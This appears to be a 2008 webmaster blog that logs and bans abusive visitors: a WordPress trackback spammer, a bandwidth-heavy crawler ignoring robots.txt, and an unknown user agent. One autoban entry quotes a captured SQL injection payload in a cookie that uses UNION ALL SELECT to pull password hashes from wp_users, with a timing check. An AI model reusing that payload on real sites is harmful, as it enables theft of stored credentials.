Apr 23, 2008

beta.rover-host.com SPAMMER

/blog.php/?feed=rss2 POST HTTP/1.0 spam=[+Content-Type=application/x-www-form-urlencoded&+charset=utf-8&+title=anal nude wevcams&+url=http://www.__removed___.com&+blog_name=anal nude wevcams&+excerpt=anal nude wevcams&]
Agent: snoopy v1.2.3 beta.rover-host.com

Caught you spammer trying to inject spam into my rss feed on Wordpress

outlookconnector/1.9 (tmstmpext; msoffice 12)

outlookconnector/1.9 (tmstmpext; msoffice 12)
All Hits From ip68-11-62-209.no.no.cox.net

Anyone know what this useragent is?

This thing is a hog with all usage comming from one user on COX.

I am banning it unless someone knows what it is.

Apr 14, 2008

twiceler www.cuill.com Bandwidth HOG

This bot just can not take no for a answer. It keeps trying to scan my site.

Tried adding to the robots on 12/5/06 and testing in 08 still shows it scanning my system. It was just caught ignoring the robots file and fell into unlisted bot traps.

IP BAN Fell into unlisted bot trap
Agent: mozilla/5.0 (twiceler-0.9 http://www.cuill.com/twiceler/robot.html) crawl-17.cuill.com

See more info on what others are saying here

User agent has changed since I last saw it and they are now using new ips.

upcomingvideo.info atempts union injections

The request for /wp-admin/admin-ajax.php caused a autoban.

ALARM: UNION ALL SELECT injection string=[ cookie=wordpressuser_e3e8b95c4f440b1cebd0041c4a3dda48=xyz%27 UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1 AND IF(LENGTH(user_pass)>31,BENCHMARK(1,MD5(1337)),3)/*; wordpresspass_e3e8b95c4f440b1cebd0041c4a3dda48=p0hh&]

* M&M Autoban V3.8 *
IP: [ upcomingvideo.info ] Counter[44602]
URL: []
Agent: [mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; .net clr 2.0.50727)]

upcomingvideo.info this gets you banned from all sites.